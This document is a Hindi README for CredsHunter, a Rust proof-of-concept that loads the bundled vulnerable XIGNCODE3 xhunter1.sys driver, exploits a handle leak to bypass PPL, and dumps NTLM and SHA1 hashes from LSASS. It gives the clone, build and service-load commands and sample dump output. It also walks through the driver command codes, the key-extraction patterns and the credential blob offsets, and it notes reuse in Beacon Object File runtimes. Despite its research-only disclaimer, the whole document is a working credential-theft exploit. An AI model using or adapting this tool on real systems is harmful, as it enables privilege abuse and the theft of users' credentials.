
CVE-2026-3609 के लिए PoC - XIGNCODE3 xhunter1.sys हैंडल लीक जो PPL बाइपास और LSASS डंपिंग को सक्षम बनाता है
Wellbia के XIGNCODE3 एंटी-चीट ड्राइवर xhunter1.sys में PPL-बाइपास करने वाले प्रोसेस-हैंडल लीक के लिए LSASS क्रेडेंशियल डंप प्रूफ-ऑफ-कॉन्सेप्ट।
ड्राइवर एक IRP_MJ_WRITE कमांड इंटरफ़ेस उजागर करता है जो ObOpenObjectByPointer को AccessMode = KernelMode के साथ और OBJ_KERNEL_HANDLE के बिना कॉल करता है, जिससे कर्नेल-निर्मित PROCESS_ALL_ACCESS हैंडल सीधे कॉलर की हैंडल तालिका में डाल दिया जाता है। वहाँ से, मानक क्रेडेंशियल-डंपिंग कोड लक्ष्य में से lsasrv.dll की 3DES कुंजी पढ़ता है और हर सक्रिय लॉगऑन सत्र के लिए NTLM + SHA1 हैश पुनर्प्राप्त करता है।
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
इस रिपॉजिटरी में असुरक्षित साइन किया गया ड्राइवर (xhunter1.sys) शामिल है ताकि एक्सप्लॉइट को शुरू से अंत तक दोहराया जा सके। लोड करने से पहले हैश सत्यापित करें:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
नए XIGNCODE3 रिलीज़ पैच किए जा चुके हैं। असुरक्षित साइन किया गया बाइनरी किसी भी होस्ट पर BYOVD प्रिमिटिव के रूप में उपयोगी बना रहता है जहाँ इसे ड्रॉप और लोड किया जा सकता है।
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
रिलीज़ बाइनरी target\release\CredsHunter.exe पर रखी जाती है।
बंडल किए गए ड्राइवर को कर्नेल सेवा के रूप में लोड करें (ड्राइवर का डिवाइस DACL चालू होने पर किसी भी कॉलर को अनुमति देता है):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
टूल चलाएँ:
.\target\release\CredsHunter.exe
बाद में सफाई के लिए:
sc stop xhunter
sc delete xhunter
डिफ़ॉल्ट डिवाइस नाम \\.\xhunter है (ऊपर दिए गए उदाहरण सेवा नाम से मेल खाता है)। यदि आपकी सेवा कोई अलग नाम उपयोग करती है, तो डिवाइस पथ उसी के अनुसार होगा — driver::DEFAULT_DEVICE को संपादित करें या तदनुसार Xhunter::open_named कॉल करें।
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
MemReader trait मेमोरी रीड्स को अमूर्त करता है ताकि क्रेडेंशियल-निष्कर्षण मॉड्यूल किसी विशिष्ट ड्राइवर प्रिमिटिव पर निर्भर न हों। ट्रेट को किसी भिन्न रीडर (जैसे Beacon Object File रनटाइम, ptwalk-आधारित phys-mem रीडर) पर लागू करें और lsa / logon / wdigest मॉड्यूल बिना बदलाव के काम कर जाते हैं।
48 3B D9 74) है जो मूल सार्वजनिक PoC से विरासत में मिला है और Windows 11 build 26100+ के लिए रिफ्रेश नहीं किया गया है। इसे प्रति-बिल्ड तालिका में विस्तारित करना सीधा है; PRs स्वागत योग्य हैं।xhunter पर हार्डकोड किया गया है। यदि आप ड्राइवर को किसी भिन्न नाम के अंतर्गत लोड करते हैं, तो driver::DEFAULT_DEVICE संपादित करें या Xhunter::open_named को ओवरराइड पास करें।केवल शोध, अधिकृत परीक्षण और डिफेंसिव टूलिंग के लिए। किसी ऐसे सिस्टम पर असुरक्षित ड्राइवर लोड करना जिसके मालिक आप नहीं हैं या जिसके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है, अधिकांश क्षेत्राधिकारों में अपराध है। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी स्वीकार नहीं करता है।
देखें LICENSE।
| Stage | Component | What happens |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — डिवाइस पर कोई प्रमाणीकरण नहीं |
| 2 | driver.rs → Xhunter::open_process | WriteFile कमांड 785 (PID, PROCESS_ALL_ACCESS) के साथ। ड्राइवर ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) कॉल करता है और हैंडल को यूज़र के रिस्पॉन्स बफ़र में +0x10 पर वापस लिखता है। हैंडल PPL को बाइपास करता है क्योंकि AccessMode = KernelMode एक्सेस चेक छोड़ देता है, और यह हमारी हैंडल तालिका में आ जाता है क्योंकि OBJ_KERNEL_HANDLE सेट नहीं है। |
| 3 | driver.rs → Session::attach | कर्नेल-निर्मित हैंडल के विरुद्ध ReadProcessMemory को प्रोब करता है। यदि RPM ब्लॉक है तो ड्राइवर कमांड 787 (KeStackAttachProcess + memcpy) पर फॉलबैक करता है। |
| 4 | lsa.rs | स्थानीय lsasrv.dll के .text को पैटर्न-स्कैन करके LsaInitializeProtectedMemory के अंदर AES कुंजी, 3DES कुंजी और IV के RIP-रिलेटिव पॉइंटर्स पुनर्प्राप्त करता है। उन VAs को लक्ष्य के मैपिंग पर रीबेस करता है, BCRYPT_HANDLE_KEY → BCRYPT_KEY81 ट्रैवर्स करता है, और लक्ष्य से raw 3DES बाइट्स निकालता है। |
| 5 | logon.rs | LogonSessionList को वॉक करता है (प्रति-बिल्ड सिग्नेचर तालिका)। प्रत्येक एंट्री का प्राथमिक क्रेडेंशियल +credentials → +0x10 → +0x30 पर 0x1B0-बाइट 3DES-एन्क्रिप्टेड ब्लॉब रखता है। bcrypt.dll इसे डिक्रिप्ट करता है; बाइट्स 70..86 NT हैश हैं, 102..122 SHA1 हैं। |